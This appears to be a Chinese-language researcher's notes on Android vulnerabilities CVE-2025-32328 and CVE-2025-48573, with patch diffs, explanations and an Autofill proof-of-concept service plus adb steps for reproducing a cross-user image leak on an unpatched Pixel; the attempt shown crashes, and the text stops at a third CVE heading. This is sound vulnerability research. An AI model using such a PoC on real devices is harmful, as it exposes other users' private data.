# 一、CVE-2025-32328

在2025-12-01 安全补丁中

img

# (一) 漏洞原因

# 1. NVD描述

Session.java 的多个函数中存在一个逻辑错误,可能导致攻击者能够查看设备上其他用户的图像。这可能导致本地权限提升,而无需额外的执行权限。利用此漏洞无需用户交互【 Autofill UI 在 system_server 中,用 User 0 的身份,替当前前台用户“代为访问”了 User 0 的资源。 也就是可以使用户的 App 用system_server 用了 User 0 Context 访问 其他用户 下 App / Media / Provider 的数据】

# 2. commit信息

Fix Autofill Inflating as User 0
Autofill will inflate views as the current foreground user instead of
the system_server user (0).

//修复自动填充以用户 0 身份加载的问题,自动填充功能将以当前前台用户身份加载视图,而不是系统服务器用户 (0)。
实际上:Autofill UI 在 system_server 中使用了 User 0 的 Context 去 inflate RemoteViews,
而不是当前前台用户的 Context。
  • user0:在Android系统中,user0通常指的是主用户或系统用户。这个用户具有相对较高的权限,能够访问更多的系统资源和执行更广泛的系统级操作。user0下的应用通常可以访问系统文件、服务以及其他关键资源
  • 当前用户身份:通常指的是在多用户模式下创建的其他用户。它们的权限受到限制,主要是为了保护每个用户的隐私和数据安全。各用户的应用只能访问自己创建的数据和文件,以及通过特定机制共享的数据。

注:在Android中,应用的uid是和当前的用户有关的,同一个应用具有相同的appId,其uid的计算方式为: uid = userId * 1000000 + appId,在主用户中,uid = appId

安卓的多用户模式实际上是多个用户空间,各个用户之间数据是不互通的,当前进程启动一个其他进程的activity,那么这个activity的数据和其他地方就不互通,包括调用一个静态数据,虽然可以调用到,但是数据是不互通的

# 3. diff信息

改变的五个文件都在autofill下:

img

关于context解析

/server/autofill/ui/DialogFillUi.java/server/autofill/ui/FillUi.java里做了同样的修改如下:

@@ -117,6 +120,7 @@
mUserContext = Helper.getUserContext(mContext);

//修改代码:presentation.applyWithTheme(mContext, ...)为:
presentation.applyWithTheme(mUserContext, ...)
@@ -153,6 +156,7 @@
mUserContext = Helper.getUserContext(mContext);

//修改代码:presentation.applyWithTheme(mContext, ...)为:
presentation.applyWithTheme(mUserContext, ...)

原本使用

mContext = new ContextThemeWrapper(context, mThemeId);
//context = system_server 的 Context
//ContextThemeWrapper:A context wrapper that allows you to modify or replace the theme of the wrapped context.
//用style中的各个属性,去覆盖已有的context中的属性,覆盖之后得到的context就是改变了部分属性后的 context了,然后用这个context去构建View,View中拿到的属性也就是新的值了。
//它就是一个可以指定Theme的Context包装。用于在View构造时为其提供Theme属性集。
/**ContextThemeWrapper 内部包含了与主题相关的接口,有自己的 Theme 和 Resource 成员,并且 Resource 可以传入自己的配置初始化。即 Theme 和 Resource 相关的行为不再是直接调用 mBase 的方法了,也就说,ContextThemeWrapper 和它的 mBase 成员在 Resource 和 Theme 相关的行为上是不同的**/

presentation.applyWithTheme(mContext, ...)//参数是通过上面的获取的

在上面说的添加新的代码中:mUserContext = Helper.getUserContext(mContext);,

使用了:/autofill/Helper.java中新增的代码,使得userId=当前前台用户id

+     * Creates the context as the foreground user
+     *//以前台用户身份创建context
+     * <p>Returns the current context as the current foreground user
+     *//返回当前context,即当前前台用户
+    @RequiresPermission(INTERACT_ACROSS_USERS)
+    public static Context getUserContext(Context context) {
+        int userId = ActivityManager.getCurrentUser();//设置userid= 当前前台用户
+        Context c = context.createContextAsUser(UserHandle.of(userId), /* flags= */ 0);
+        if (sDebug) {//在开头public static boolean sDebug = true;
+            Slog.d(
+                    TAG,
+                    "Current User: "
+                            + userId
+                            + ", context created as: "
+                            + c.getContentResolver().getUserId());
+        }
+        return c;context.createContextAsUser函数的返回含义
+    }
+
+    /**
      * Checks the URI permissions of the remote view,
      * to see if the current userId is able to access it.
      * 检查远程视图的 URI 权限,查看当前用户 ID 是否能够访问它。

然后在/autofill/session修改了两部分代码,都是if条件中的内容,进行了进一步的防护:

这是第二层防护

  • 防止 AutofillService 的 Binder 调用身份
  • 影响 PackageManager / resource 加载
1
         int iconResourceId = response.getIconResourceId();
         if (iconResourceId != 0) {
-            serviceIcon = mService.getMaster().getContext().getPackageManager()
-                .getDrawable(
-                    mService.getServicePackageName(),
-                    iconResourceId,
-                    null);
+            long token = Binder.clearCallingIdentity();//新增
+            try {
+                serviceIcon =
+                        mService.getMaster()
+                                .getContext()
+                                .getPackageManager()
+                                .getDrawable(
+                                        mService.getServicePackageName(), iconResourceId, null);
+            } finally {
+                Binder.restoreCallingIdentity(token);//新增
+            }
         }


2.
         if (customServiceNameId != 0) {
-            serviceLabel = mService.getMaster().getContext().getPackageManager()
-                .getText(
-                    mService.getServicePackageName(),
-                    customServiceNameId,
-                    null);
+            long token = Binder.clearCallingIdentity();
+            try {
+                serviceLabel =
+                        mService.getMaster()
+                                .getContext()
+                                .getPackageManager()
+                                .getText(
+                                        mService.getServicePackageName(),
+                                        customServiceNameId,
+                                        null);
+            } finally {
+                Binder.restoreCallingIdentity(token);
+            }
         }

# (二) 漏洞复现

刷机到打补丁前的版本

<img src="https://cdn.nlark.com/yuque/0/2025/png/35603403/1767102709080-91ca0766-2233-4781-9f11-58981b7c7c85.png" alt="img" style="zoom:33%;" />

poc:

package com.example.autofillpoc;

import android.app.assist.AssistStructure;
import android.net.Uri;
import android.service.autofill.AutofillService;
import android.service.autofill.FillCallback;
import android.service.autofill.FillRequest;
import android.service.autofill.FillResponse;
import android.service.autofill.Dataset;
import android.view.autofill.AutofillId;
import android.view.autofill.AutofillValue;
import android.widget.RemoteViews;

import android.util.Log;

public class LeakAutofillService extends AutofillService {

    private static final String TAG = "AutofillLeakPoC";

    @Override
    public void onFillRequest(
            FillRequest request,
            android.os.CancellationSignal cancellationSignal,
            FillCallback callback) {

        AssistStructure structure =
                request.getFillContexts()
                        .get(request.getFillContexts().size() - 1)
                        .getStructure();

        AutofillId targetId = findFirstInput(structure);
        if (targetId == null) {
            callback.onSuccess(null);
            return;
        }

        RemoteViews rv = new RemoteViews(
                getPackageName(),
                R.layout.autofill_view
        );

        // ⚠️ 关键点:URI 指向 User 0 中的媒体
        Uri leakedImage = Uri.parse(
                "file:///storage/emulated/0/Android/data/com.example.autofillpoc/files/secret.jpg"
        );
        rv.setImageViewUri(R.id.leak_image, leakedImage);


        rv.setImageViewUri(R.id.leak_image, leakedImage);

        Dataset dataset = new Dataset.Builder(rv)
                .setValue(targetId,
                        AutofillValue.forText("test"),
                        rv)
                .build();


        FillResponse response = new FillResponse.Builder()
                .addDataset(dataset)
                .build();

        Log.i(TAG, "Sending FillResponse with image URI: " + leakedImage);

        callback.onSuccess(response);
    }

    @Override
    public void onSaveRequest(
            android.service.autofill.SaveRequest request,
            android.service.autofill.SaveCallback callback) {
        callback.onSuccess();
    }

    private AutofillId findFirstInput(AssistStructure structure) {
        int nodes = structure.getWindowNodeCount();
        for (int i = 0; i < nodes; i++) {
            AssistStructure.WindowNode windowNode =
                    structure.getWindowNodeAt(i);
            AssistStructure.ViewNode root =
                    windowNode.getRootViewNode();
            AutofillId id = dfs(root);
            if (id != null) return id;
        }
        return null;
    }

    private AutofillId dfs(AssistStructure.ViewNode node) {
        if (node.getAutofillId() != null
                && node.getClassName() != null
                && node.getClassName().toString().contains("EditText")) {
            return node.getAutofillId();
        }
        for (int i = 0; i < node.getChildCount(); i++) {
            AutofillId id = dfs(node.getChildAt(i));
            if (id != null) return id;
        }
        return null;
    }
}

这里显示问题:img

后面会添加

# 1. 添加资源文件(R 的关键来源)

① 添加 layout,右键:res → layout

New → Layout Resource File

选,这个用代码进行布局:

img

然后把内容替换为:

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
  android:layout_width="match_parent"
  android:layout_height="wrap_content"
  android:orientation="vertical">

  <ImageView
    android:id="@+id/leak_image"
    android:layout_width="200dp"
    android:layout_height="200dp" />
</LinearLayout>

② 添加 xml 目录

如果没有 res/xml:【这里以及有了】

  • 右键 res
  • New → Android Resource Directory
  • Resource type:xml

③ 添加 autofill_service.xml

右键:res/xml,New → Android Resource File

没找到Android Resource file

img

File name:

autofill_service

img

内容:

<autofill-service xmlns:android="http://schemas.android.com/apk/res/android" />

# 2. 安装 APK

app/build/outputs/apk/debug/app-debug.apk

<img src="https://cdn.nlark.com/yuque/0/2025/png/35603403/1767148680772-a48fef30-1780-4f5c-b969-392b00f27b42.png" alt="img" style="zoom:67%;" />

👉 PoC 研究完全不需要 Activity

  • 先成功 Build APK
  • 用 adb 安装:
adb install app-debug.apk【用后面的安装】

img

# 3. 漏洞利用:

前置条件(必须满足)

  1. Pixel 9 解锁 bootloader
  2. 刷入回退 Autofill Patch 的 system.img
  3. 至少 两个用户
adb shell pm create-user testuser
adb shell am switch-user 10

img

这里自己的设备上显示有新用户,然后转换角色

img

Step 1:在 User 0 中准备“敏感图片”

手机上切换为机主然后拍个照

<img src="https://cdn.nlark.com/yuque/0/2025/png/35603403/1767150274674-0be2ea29-ef25-412f-82c9-ff983ce622fd.png" alt="img" style="zoom:33%;" />

adb shell pm list users   #执行下面的代码可以查看当前已有账号的用户ID和name

adb shell am switch-user <USER_ID> #ADB切换用户的核心命令为

adb shell am instrument --user <userId> 可针对特定用户运行插桩测试。默认情况下,此命令使用当前用户。
adb install --user <userId> 可为特定用户安装软件包。要确保为所有用户安装软件包,您必须为每个用户调用此命令。
adb uninstall --user <userId> 可为特定用户卸载软件包。如果调用此命令时不带 --user 标记,可为所有用户卸载软件包。
adb shell am get-current-user 可获取当前(前台)用户 ID。
adb shell pm list users 可获取所有现有用户的列表。
adb shell pm create-user 可创建新用户并返回 ID。
adb shell pm remove-user 可按 ID 移除特定用户。
adb shell pm disable --user <userId> 可为特定用户停用软件包。
adb shell pm enable --user <userId> 可为特定用户启用软件包。
adb shell pm list packages --user <userId> 可为特定用户列出软件包(-e 可列出已启用的软件包,-d 可列出已停用的软件包)。默认情况下,此命令始终为系统用户列出软件包。

设备上的用户:

img

当前用户ID:

img

切换到用户10,然后手机上就切换到testuser了:

img

在user0下拍个照,并复制到/storage/emulated/0/Android/data/com.example.autofillpoc/files/

文件夹下【需要是user0的私有目录】,已有的照片在/sdcard/DCIM/User0Only文件夹下:

adb shell am switch-user 0
adb shell
mkdir /sdcard/DCIM/User0Only

#查看图片名称
cd /sdcard/DCIM/Camera
ls

cp /sdcard/DCIM/Camera/PXL_20251231_030147482.jpg /sdcard/DCIM/User0Only/

 
#【这个目录 从 Android 11 开始就被强隔离了】放user0的私有目录下
mkdir -p /storage/emulated/0/Android/data/com.example.autofillpoc/files/ 
cp /sdcard/DCIM/User0Only/PXL_20251231_030147482.jpg /storage/emulated/0/Android/data/com.example.autofillpoc/files/secret.jpg
chmod 600 /storage/emulated/0/Android/data/com.example.autofillpoc/files/secret.jpg

img

可以看到有照片

Step 2:安装 PoC(在 User 0 而不是 user10)

adb shell am switch-user 0
adb install app-debug.apk
#adb install AutofillUserLeakPoC.apk

img

PoC Autofill Service 安装在 user 0,确认一下:

adb shell pm list packages --user 0 | findstr autofillpoc

user 10 中不安装这个 PoC(这是漏洞利用关键)

img

启用 Autofill Service【user0启用】

adb shell settings put secure autofill_service com.example.autofillpoc/.LeakAutofillService

用 adb 验证 Service 是否被系统识别

adb shell dumpsys package com.example.autofillpoc | findstr LeakAutofillService

img

验证 Autofill Service 是否真的生效【在user10 下】

执行成功后,立刻检查:

adb shell settings get secure autofill_service

img

如果是 nulldefault → 说明设置没生效

漏洞验证:

adb shell settings put secure autofill_service com.example.autofillpoc/.LeakAutofillService
adb shell settings get secure autofill_service

触发 Autofill

  • 打开任意含 EditText 的 App(如浏览器搜索框)
  • 点击输入框
  • 等待 Autofill UI 弹出

<img src="https://cdn.nlark.com/yuque/0/2025/png/35603403/1767171510553-4fc2b10e-ec79-42e3-876b-53daee804800.png" alt="img" style="zoom: 33%;" />

原因排查

在 PC 上执行(Windows 没问题):

adb logcat -c
adb logcat

然后在手机上:

  1. 点击 Chrome 的 EditText
  2. 等它再次提示“屡次停止运行”

在 logcat 里会看到类似:

FATAL EXCEPTION: main
Process: com.example.autofillpoc

img

标红色框的下一条:

这是因为 Android N 非常核心的一条安全规则RemoteViews 不允许使用 **file://** URI

因为 RemoteViews 会被“跨进程 / 跨用户”渲染

所以系统直接在:

rv.setImageViewUri(...)

这里 强制 kill AutofillService

蓝色框中的内容表明:

  • AutofillService 运行在 user10
  • RemoteViews 尝试访问 user0 的 MediaProvider
  • MediaProvider 明确识别到:这是跨用户访问

因为poc使用的代码是: file://

【 】

# 二、CVE-2025-48573

# (一) 漏洞原因

# 1. NVD描述

在 MediaSessionRecord.java 的 sendCommand 方法中,由于 FGS 在使用中滥用,可能存在在应用程序处于后台运行时启动前台服务的情况。这可能导致本地权限提升,而无需额外的执行权限。利用此漏洞无需用户交互。

sendCommand 允许外部(如 MediaController)向持有 Session 的应用程序发送自定义指令(即标准播放控制之外的命令,如“点赞”、“切换画质”、“修改播放模式”等)。

作用: 接收来自 MediaController 的通用指令,进行权限检查和参数校验,然后通过 Binder 机制将指令转发给应用程序进程中的 MediaSession.Callback

# 2. commit信息

@@ -1461,9 +1461,6 @@
         public void sendCommand(String packageName, int pid, int uid, String command, Bundle args,
                 ResultReceiver cb) {
             try {
-                final String reason = TAG + ":" + command;
-                mService.tempAllowlistTargetPkgIfPossible(getUid(), getPackageName(),
-                        pid, uid, packageName, reason);
                 mCb.onCommand(packageName, pid, uid, command, args, cb);
             } catch (RemoteException e) {
                 Slog.e(TAG, "Remote failure in sendCommand.", e);

// 伪代码示例:MediaSessionRecord.java 内部逻辑示意
public void sendCommand(String packageName, int pid, int uid, String command, Bundle args, ResultReceiver cb) {
    try {
        // 1. 确认 Session 是否有效
        if (mDestroyed) {
            return;
        }
        
        // 2. 将 ResultReceiver 封装,以便跨进程传递
        // 注意:ResultReceiver 是单向的,用于应用向 Controller 返回结果
        
        // 3. 通过 Binder 调用应用端的 Callback
        // mSessionCb 是 ISessionCallback 的实例
        mSessionCb.onCommand(packageName, pid, uid, command, args, cb);
        
    } catch (RemoteException e) {
        // 处理 Binder 调用失败,通常意味着应用进程可能崩溃了
        Slog.e(TAG, "Remote failure in sendCommand.", e);
    }
}

# 三、CVE-2025-48612